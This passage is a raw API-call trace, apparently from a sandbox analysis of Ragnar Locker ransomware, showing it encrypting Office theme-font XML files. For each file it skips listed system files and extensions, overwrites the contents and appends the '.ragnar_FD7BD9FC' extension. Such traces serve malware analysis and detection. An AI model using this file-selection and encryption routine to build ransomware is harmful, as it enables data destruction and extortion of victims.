(lpString1="Apothecary.xml", lpString2="thumbs.db") returned -1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.266] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml")) returned 0x20 [0094.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.267] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3615) returned 1 [0094.267] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.267] GetProcessHeap () returned 0x580000 [0094.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.267] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.268] VirtualAlloc (lpAddress=0x0, dwSize=0xe1f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.268] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.269] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.269] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe1f, lpOverlapped=0x0) returned 1 [0094.269] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.269] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.269] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe1f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe1f, lpOverlapped=0x0) returned 1 [0094.269] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.269] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.269] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.269] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.269] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.269] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.269] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.270] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.270] GetProcessHeap () returned 0x580000 [0094.270] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.270] CloseHandle (hObject=0x10c) returned 1 [0094.270] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" [0094.270] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.ragnar_FD7BD9FC" [0094.270] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.270] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0094.271] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.271] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Aspect.xml" | out: lpString1="Aspect.xml") returned="Aspect.xml" [0094.271] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml") returned=".xml" [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="autorun.inf") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="boot.ini") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootfont.bin") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootsect.bak") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgr.efi") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="bootmgfw.efi") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="desktop.ini") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="iconcache.db") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntldr") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.dat.log") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="ntuser.ini") returned -1 [0094.271] lstrcmpiW (lpString1="Aspect.xml", lpString2="thumbs.db") returned -1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.271] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml")) returned 0x20 [0094.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.272] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3595) returned 1 [0094.272] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.272] GetProcessHeap () returned 0x580000 [0094.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.272] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.273] VirtualAlloc (lpAddress=0x0, dwSize=0xe0b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.273] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.273] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.274] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe0b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe0b, lpOverlapped=0x0) returned 1 [0094.274] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.274] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe0b, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.274] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe0b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe0b, lpOverlapped=0x0) returned 1 [0094.274] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe0b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.274] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.274] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.274] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.274] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.274] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.274] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.275] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.275] GetProcessHeap () returned 0x580000 [0094.275] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.275] CloseHandle (hObject=0x10c) returned 1 [0094.275] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" [0094.275] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.ragnar_FD7BD9FC" [0094.275] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.275] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0094.275] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.276] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Austin.xml" | out: lpString1="Austin.xml") returned="Austin.xml" [0094.276] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml") returned=".xml" [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="autorun.inf") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="boot.ini") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="bootfont.bin") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="bootsect.bak") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgr.efi") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="bootmgfw.efi") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="desktop.ini") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="iconcache.db") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="ntldr") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.dat.log") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="ntuser.ini") returned -1 [0094.276] lstrcmpiW (lpString1="Austin.xml", lpString2="thumbs.db") returned -1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.276] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml")) returned 0x20 [0094.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.277] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3606) returned 1 [0094.277] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.277] GetProcessHeap () returned 0x580000 [0094.277] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.277] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.279] VirtualAlloc (lpAddress=0x0, dwSize=0xe16, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.279] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe16, lpOverlapped=0x0) returned 1 [0094.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.280] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe16, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.280] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe16, lpOverlapped=0x0) returned 1 [0094.280] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe16, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.280] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.280] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.280] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.280] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.280] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.280] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.280] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.280] GetProcessHeap () returned 0x580000 [0094.280] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.280] CloseHandle (hObject=0x10c) returned 1 [0094.281] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" [0094.281] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.ragnar_FD7BD9FC" [0094.281] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.281] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0094.281] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.281] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Black Tie.xml" | out: lpString1="Black Tie.xml") returned="Black Tie.xml" [0094.281] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml") returned=".xml" [0094.281] lstrcmpiW (lpString1="Black Tie.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.281] lstrcmpiW (lpString1="Black Tie.xml", lpString2="autorun.inf") returned 1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="boot.ini") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootfont.bin") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootsect.bak") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgr.efi") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="bootmgfw.efi") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="desktop.ini") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="iconcache.db") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntldr") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.dat") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.dat.log") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="ntuser.ini") returned -1 [0094.282] lstrcmpiW (lpString1="Black Tie.xml", lpString2="thumbs.db") returned -1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.282] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml")) returned 0x20 [0094.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, 